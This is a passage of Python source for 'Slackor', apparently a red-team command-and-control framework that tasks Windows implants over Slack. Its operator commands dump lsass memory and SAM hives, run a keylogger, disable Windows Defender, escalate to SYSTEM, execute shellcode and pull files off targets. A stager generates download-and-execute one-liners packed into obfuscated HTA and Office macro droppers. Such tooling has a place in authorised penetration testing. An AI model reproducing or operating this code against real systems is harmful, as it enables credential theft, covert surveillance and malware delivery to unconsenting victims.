   752              print(color("RISK: Writes to disk", "yellow"))
   753              if bad_opsec():
   754                  samdump(bearer, commands, self.target)
   755                  print(color("Getting SYSTEM, SAM and SECURITY files for " + self.target + "....", "blue"))
   756          else:
   757              print(color("Agent not running as high integrity", "yellow"))
   758  
   759      def do_sysinfo(self, args):
   760          """SYSINFO - Displays the current user, OS version, system architecture, and number of CPU cores"""
   761          sysinfo(bearer, commands, self.target)
   762          print(color("Gathering System Information for " + self.target, "blue"))
   763  
   764      def do_clipboard(self, args):
   765          """CLIPBOARD - Retrieves the content of the clipboard"""
   766          clipboard(bearer, commands, self.target)
   767          print(color("Retrieving the clipboard for " + self.target, "blue"))
   768  
   769      def do_duplicate(self, args):
   770          """DUPLICATE - Causes the agent to spawn another invocation of itself"""
   771          duplicate(bearer, commands, self.target)
   772          print(color("Duplicating " + self.target, "blue"))
   773  
   774      def do_keyscan(self, args):
   775          """keyscan - Starts a keylogger on the system"""
   776          keyscan(bearer, commands, self.target, args)
   777          if args == "start":
   778              print(color("Starting keylogger on " + self.target, "blue"))
   779          elif args == "stop":
   780              print(color("Stopping keylogger on " + self.target, "blue"))
   781          elif args == "dump":
   782              print(color("Dumping keylogger output for " + self.target, "blue"))
   783          else:
   784              print(color("Please supply an additional argument [start|stop|dump]", "blue"))
   785  
   786      def do_getsystem(self, args):
   787          """GETSYSTEM - Attempts to spawn an agent with SYSTEM privileges"""
   788          conn = sqlite3.connect('slackor.db')
   789          cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'")
   790          user = cursor.fetchone()
   791          if user[0].endswith('*'):
   792              print(color("RISK: Writes to disk and executed a scheduled task", "yellow"))
   793              if bad_opsec():
   794                  getsystem(bearer, commands, self.target)
   795                  print(color("Getting SYSTEM on " + self.target, "blue"))
   796          else:
   797              print(color("Agent not running as high integrity", "yellow"))
   798  
   799      def do_defanger(self, args):
   800          """DEFANGER - Attempts to de-fang Windows Defender
   801          Example: defanger realtime"""
   802          conn = sqlite3.connect('slackor.db')
   803          cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'")
   804          user = cursor.fetchone()
   805          if user[0].endswith('*'):
   806              if args == "realtime":
   807                  print(color("RISK: Pops a notification on the target and executes powershell.exe", "yellow"))
   808                  if bad_opsec():
   809                      defanger(bearer, commands, self.target, args)
   810                      print(color("Disabling Real-time protection on " + self.target, "blue"))
   811              elif args == "exclusion":
   812                  print(color("RISK: executes powershell.exe", "yellow"))
   813                  if bad_opsec():
   814                      defanger(bearer, commands, self.target, args)
   815                      print(color("Adding an AV exclusion for C:\\ on " + self.target, "blue"))
   816  
   817              elif args == "signature":
   818                  print(color("RISK: executes cmd.exe", "yellow"))
   819                  if bad_opsec():
   820                      defanger(bearer, commands, self.target, args)
   821                      print(color("Deleting AV signatures on " + self.target, "blue"))
   822              else:
   823                  print(color("Please supply an additional argument [realtime|exclusion|signature]", "blue"))
   824          else:
   825              print(color("Agent not running as high integrity", "yellow"))
   826      '''
   827      def do_metasploit(self, args):
   828          """METASPLOIT - Executes meterpreter on the target over HTTPS.
   829          MSF payload: windows/x64/meterpreter/reverse_https"""
   830          print(color("Listener must be windows/x64/meterpreter/reverse_https", "yellow"))
   831          print(color("RISK: Connection to non-slack IP", "yellow"))
   832          ip = input("Enter the IP Address: ")
   833          port = input("Enter the Port Number: ")
   834          url = "https://" + ip + ":" + port + "/"
   835          if validate_url(url):
   836              metasploit(bearer, commands, self.target, url)
   837              print(color("Sending Meterpreter payload to: " + self.target, "blue"))
   838          else:
   839              print("Invalid URL: " + url)
   840      '''
   841      def do_shellcode(self, args):
   842          """SHELLCODE - Executes RAW shellcode.  MUST be 64 bit.
   843          Example: shellcode /tmp/shellcode64.raw"""
   844          filepath = args
   845          shellcode(bearer, commands, self.target, filepath)
   846          print(color("Executing shellcode on: " + self.target, "blue"))
   847  
   848      def do_beacon(self, args):
   849          """BEACON - Changes the mean(average)time in seconds that an agent checks for new commands.  20% jitter.
   850               Example: beacon 5  (Beacons average 5 seconds)"""
   851          try:
   852              # Test if value is an integer, bail if not
   853              beacon_test = int(args)
   854              beacon(bearer, commands, self.target, args)
   855              print(color("Changed beacon timing to " + args + " seconds", "blue"))
   856          except ValueError:
   857              print(color("Beacon value must be an integer.  (Number of seconds)", "yellow"))
   858  
   859      def do_wget(self, args):
   860          """WGET - Not actually wget, but will download a file when given a URL.
   861               Example: wget hxxps://domain.tld/file.exe """
   862          print(color("RISK: Writes to disk, calls out to non-Slack domain", "yellow"))
   863          if bad_opsec():
   864              if validate_url(args):
   865                  upload(bearer, commands, self.target, args)
   866                  print(color("Tasked " + self.target + " to download the file at " + args, "blue"))
   867              else:
   868                  print("Invalid URL.  Please use a full URL.")
   869  
   870      def do_upload(self, args):
   871          """UPLOAD - Will upload a file that will be downloaded on the agent.  Provide a local path on the server.
   872               Example: upload /tmp/file.exe"""
   873          print(color("RISK: Writes to disk", "yellow"))
   874          if bad_opsec():
   875              url = upload_file(args)
   876              if url:
   877                  upload(bearer, commands, self.target, url)
   878                  print(color("Tasked " + self.target + " to download the file at " + url, "blue"))
   879  
   880      def do_download(self, args):
   881          """DOWNLOAD - Will retrieve a file from the agent.  Provide a local path on the agent.
   882               Example: download C:\\Users\\Administrator\\Desktop\\secrets.txt """
   883          download(bearer, commands, self.target, args)
   884          print(color("Downloading " + args + " from " + self.target + "...", "blue"))
   885  
   886      def do_minidump(self, args):
   887          """MINIDUMP - Dumps memory from lsass.exe and downloads it"""
   888          conn = sqlite3.connect('slackor.db')
   889          cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'")
   890          user = cursor.fetchone()
   891          if user[0].endswith('*'):
   892              print(color("RISK: Writes to disk, executes cmd.exe", "yellow"))
   893              if bad_opsec():
   894                  minidump(bearer, commands, self.target)
   895                  print(color("Dumping lsass.exe on target, this may take a while...", "blue"))
   896          else:
   897              print(color("Agent not running as high integrity", "yellow"))
   898  
   899      def do_back(self, args):
   900          """BACK - Leave the agent prompt and return to the main menu"""
   901          return True
   902  
   903      def do_kill(self, args):
   904          """KILL - Kills the agent"""
   905          kill(bearer, commands, self.target)
   906          print(color("Sent kill command to " + self.target, "blue"))
   907          conn = sqlite3.connect('slackor.db')
   908          conn.execute("DELETE FROM AGENTS WHERE id=?", (self.target,))
   909          conn.commit()
   910          conn.close()
   911          agent_list.remove(self.target)
   912          return True
   913  
   914      def default(self, args):
   915          if len(args) >= 3970:
   916              print("Command too large.  It must be less than 3970 characters after encrypting.")
   917          else:
   918              send_command(bearer, args, commands, self.target)
   919  
   920  
   921  class MyPrompt(Cmd):  # Class for modules ran from the main menu
   922  
   923      def do_interact(self, args):
   924          """Interacts with a registered agent \n Usage: interact [agent]"""
   925  
   926          target = args.upper()
   927          # Check to see if agent is in database
   928          conn = sqlite3.connect('slackor.db')
   929          cursor = conn.execute("SELECT id from AGENTS WHERE id=?", (target,))
   930          result = cursor.fetchone()
   931          conn.close()
   932          if result:
   933              i = AgentCmd()
   934              i.target = target
   935              i.prompt = self.prompt[:-1] + ': ' + color(args.upper(), "red") + ')'
   936              i.cmdloop(color("Interacting with " + target + ":", "blue"))
   937  
   938          else:
   939              print(color("Agent " + target + " not found", "yellow"))
   940  
   941      def complete_interact(self, text, line, start_index, end_index):
   942          if text:
   943              return [
   944                  agent for agent in agent_list
   945                  if agent.startswith(text.upper())
   946              ]
   947          else:
   948              return agent_list
   949  
   950      def complete_remove(self, text, line, start_index, end_index):
   951          if text:
   952              return [
   953                  agent for agent in agent_list
   954                  if agent.startswith(text.upper())
   955              ]
   956          else:
   957              return agent_list
   958  
   959      def do_list(self, args):
   960          """Lists registered agents"""
   961          t = PrettyTable(['ID', 'Hostname', 'User', 'IP Address', 'Version'])
   962          t.set_style(PLAIN_COLUMNS)
   963          conn = sqlite3.connect('slackor.db')
   964          cursor = conn.execute("SELECT id, hostname, user, ip, version from AGENTS")
   965          for row in cursor:
   966              ID = row[0]
   967              hostname = row[1]
   968              user = row[2]
   969              ipaddr = row[3]
   970              version = row[4]
   971              t.add_row([ID, hostname, user, ipaddr, version])
   972          print(color(t, "blue"))
   973          conn.close()
   974  
   975  
   976      def do_remove(self, args):
   977          """Removes an agent.  Specify an agent ID or say ALL \n Usage: remove [agent]"""
   978          client = args.upper()
   979          conn = sqlite3.connect('slackor.db')
   980          if client == "ALL":
   981              cursor = conn.execute("SELECT id, hostname, ip, version from AGENTS")
   982              for row in cursor:
   983                  try:
   984                      conn.execute("DELETE FROM AGENTS WHERE id=?", (row[0],))
   985                      kill(bearer, commands, row[0])
   986                      agent_list.remove(row[0])
   987                      print(color("Killing " + row[0], "blue"))
   988                  except ValueError:
   989                      pass
   990              print(color("Removed all agents", "blue"))
   991          else:
   992              try:
   993                  conn.execute("DELETE FROM AGENTS WHERE id=?", (client,))
   994                  kill(bearer, commands, client)
   995                  agent_list.remove(client)
   996                  print(color("Removed ", "blue") + color(client, "red"))
   997              except ValueError:
   998                  print(color("Agent " + client + " does not exist", "yellow"))
   999  
  1000          conn.commit()
  1001          conn.close()
  1002  
  1003      def do_quit(self, args):
  1004          """Quits the program."""
  1005          print(color("Quitting...", "yellow"))
  1006          raise SystemExit
  1007  
  1008      def do_wipefiles(self, args):
  1009          """Deletes all files from the workspace."""
  1010          response = input(color("WARNING: This will delete all files out of Slack. Continue? (Y/n): ", "yellow"))
  1011          if response.upper()[:1] == "Y":
  1012              print(color("Deleting all files from Slack...", "yellow"))
  1013              wipe_files()
  1014  
  1015      def do_stager(self, args):
  1016          """Generates a one-liner to download an execute the implant. Takes a file path as an argument."""
  1017          print(color("RISK: Uploads your implant to a Slack.  This file will be publicly downloadable.", "yellow"))
  1018          if bad_opsec():
  1019              if not args:
  1020                  print(color("Please supply the file path to the implant file.", "yellow"))
  1021                  return False
  1022              filepath = args
  1023              try:
  1024                  open(filepath, 'rb')
  1025                  print(color("Uploading payload...", "blue"))
  1026                  oneliner, unique = make_stager(filepath)
  1027  
  1028                  if 'sfhta' in globals():
  1029  
  1030                      with open("output/" + unique + ".html", "w") as out_file:
  1031                          out_file.write(sfhta.obfuscateHta(sfhta.generateBase(oneliner, "Video Plugin")))
  1032                      print(color("Created HTA dropper at output/" + unique + ".html", "blue"))
  1033  
  1034                  if 'sfvba' in globals():
  1035  
  1036                      with open("output/" + unique + "_word.vba", "w") as out_file:
  1037                          out_file.write(sfvba.generateVBALauncher("word", oneliner, "Comments"))
  1038                      print(color("Created MS Word VBA macro at output/" + unique + "_word.vba", "blue"))
  1039  
  1040                      with open("output/" + unique + "_excel.vba", "w") as out_file:
  1041                          out_file.write(sfvba.generateVBALauncher("excel", oneliner, "Comments"))
  1042                      print(color("Created MS Excel VBA macro at output/" + unique + "_excel.vba", "blue"))
  1043  
  1044                      with open("output/" + unique + "_powerpoint.vba", "w") as out_file:
  1045                          out_file.write(sfvba.generateVBALauncher("powerpoint", oneliner, "Comments"))
  1046                      print(color("Created MS PowerPoint VBA macro at output/" + unique + "_powerpoint.vba", "blue"))
  1047  
  1048              except FileNotFoundError:
  1049                  print(color("File not Found", "yellow"))
  1050                  return False
  1051              except OSError:
  1052                  print(color("File not Found", "yellow"))
  1053                  return False
  1054  
  1055      def emptyline(self):
  1056          pass
  1057  
  1058      def do_modules(self, arg):
  1059          """Displays information about available modules"""
  1060          print("""Welcome to Slackor!  Below are a list of things you can do:
  1061  
  1062  Main Menu:
  1063  ===========
  1064  help -  Displays information for a command type
  1065             Usage: help [COMMAND]
  1066  interact - Interacts with a registered agent
  1067             Usage: interact [AGENT]
  1068  list - Lists registered agents
  1069             Usage: list
  1070  remove - Removes an agent.  Specify an agent ID or say ALL
  1071             Usage: remove [AGENT]
  1072  revive - Sends a signal to all agents to re-register with the server.
  1073             Usage: revive
  1074  stager - Generates a one-liner to download an execute the implant.
  1075             Usage: stager [LOCAL FILE PATH]
  1076  quit - Quits the program.
  1077             Usage: quit
  1078  wipefiles - Deletes all uploaded files out of the Slack workspace
  1079             Usage: wipefiles
  1080  
  1081  Agent Interaction:
  1082  ===================
  1083  back - Leave the agent prompt and return to the main menu
  1084             Usage: back
  1085  beacon - Changes the mean(average)time in seconds that an agent checks for new commands.  20% jitter.
  1086             Usage: beacon 5  (Beacons average 5 seconds)
  1087  bypassuac - Attempts to spawn a new agent with high integrity.
  1088             Usage: bypassuac [fodhelper|ask]
  1089  defanger - Attempts to de-fang Windows Defender.
  1090             Usage: defanger [realtime|exclusion|signature]
  1091  cleanup - Removes artifacts.
  1092             Usage: cleanup [registry|scheduler|realtime|exclusion|signature]
  1093  clipboard - Retrieves the content of the clipboard
  1094             Usage: clipboard
  1095  download - Will retrieve a file from the agent.  Provide a local path on the agent.
  1096             Usage: download [LOCAL FILE PATH]
  1097  duplicate - Causes the agent to spawn another invocation of itself
  1098             Usage: duplicate
  1099  getsystem - Spawns an agent as NTAUTHORITY/SYSTEM
  1100             Usage: getsystem
  1101  help - Displays information for a command type
  1102             Usage: help [COMMAND]
  1103  keyscan - Starts a keylogger on the agent
  1104             Usage: keyscan [start|stop|dump]
  1105  kill - Kills the current agent
  1106             Usage: kill
  1107  minidump - Returns a dump of lsass.exe to be process by mimikatz
  1108             Usage: minidump
  1109  persist - Creates persistence by implanting a binary in an Alternate Data Stream.
  1110            Can be activated by a scheduled task or via a run key.  Userland or Elevated.
  1111             Usage: persist [registry|scheduler|wmi]
  1112  samdump - Attempts to dump the SAM, SYSTEM and SECURITY files for offline hash extraction
  1113             Usage: samdump
  1114  shellcode - Executes x64 raw shellcode from a file.
  1115             Usage: shellcode [SERVER FILE PATH]
  1116  sleep - Causes the agent to sleep once.  Time must be in seconds.
  1117             Usage: sleep [INTEGER]
  1118  sysinfo - Displays the current user, OS version, system architecture, and number of CPU cores
  1119             Usage: sysinfo
  1120  upload - Will upload a file that will be downloaded on the agent.  Provide a local path on the server.
  1121             Usage: upload [SERVER FILE PATH]
  1122  wget - Not actually wget, but will download a file when given a URL.
  1123             Usage: wget [URL]
  1124  
  1125  OPSEC Information :
  1126  ===================
  1127  Modules will warn you before performing tasks that write to disk.
  1128  When executing shell commands, take note that cmd.exe will be executed.  This may be monitored on the host.
  1129  Here are several OPSEC safe commands that will NOT execute cmd.exe:
  1130  cat - prints the content of a file
  1131             Usage: cat [FILEPATH]
  1132  cd - change directory
  1133             Usage: cd [DIRECTORY]
  1134  hostname - Displays the name of the host
  1135             Usage: hostname
  1136  ifconfig - Displays interface information
  1137             Usage: ifconfig
  1138  getip - Get external IP address (makes a DNS request)
  1139             Usage: getip
  1140  ls - list directory contents
  1141             Usage: ls [DIRECTORY]
  1142  find - search directory filenames
  1143             Usage: find [GLOB]
  1144  mkdir - creates a directory
  1145             Usage: mkdir [DIRPATH]
  1146  pwd - prints the current working directory
  1147             Usage: pwd
  1148  rm - removes a file
  1149             Usage: rm [FILEPATH]
  1150  rmdir - removes a directory
  1151             Usage: rmdir [DIRPATH]
  1152  whoami / getuid - prints the current user
  1153             Usage: whoami
  1154             Usage: getuid
  1155  """)
  1156  
  1157      def default(self, line):
  1158          print(color('Unknown command: %s\n' % (line,), "yellow"))
  1159  
  1160      def do_revive(self, args):
  1161          """REVIVE - Sends a signal to all agents to re-register with the server.
  1162           """
  1163          revive(bearer, commands)
  1164          print(color("Sending signal to all agents to register with the server...\n", "blue"))
  1165  
  1166  
  1167  if __name__ == '__main__':
  1168      # Keep checking for agents in the background
  1169      agent_monitor = threading.Thread(target=update_agents)
  1170      agent_monitor.start()
  1171      # Keep checking for responses in the background
  1172      response_monitor = threading.Thread(target=check_responses)
  1173      response_monitor.start()
  1174      prompt = MyPrompt()
  1175      prompt.doc_header = "Main Menu (type help <topic>):"
  1176      prompt.misc_header = "Agent Commands (type help <topic>):"
  1177      prompt.prompt = '(Slackor)'
  1178      banner = """
  1179          __ _            _                  _  _
  1180         / _| | __ _  ___| | _____  _ __   _| || |_
  1181         \ \| |/ _` |/ __| |/ / _ \| '__| |_  ..  _|
  1182         _\ | | (_| | (__|   | (_) | |    |_      _|
  1183         \__|_|\__,_|\___|_|\_\___/|_|      |_||_|
  1184  \n"""
  1185      note = """
  1186  ⬡  Presented by n00py on behalf of Coalfire Labs R&D  ⬡
  1187               https://www.coalfire.com/
  1188               """
  1189      prompt.cmdloop(color(banner, "green") + color(note, "red")
  1190      + color("\nType \"modules\""" for additional information.", "green"))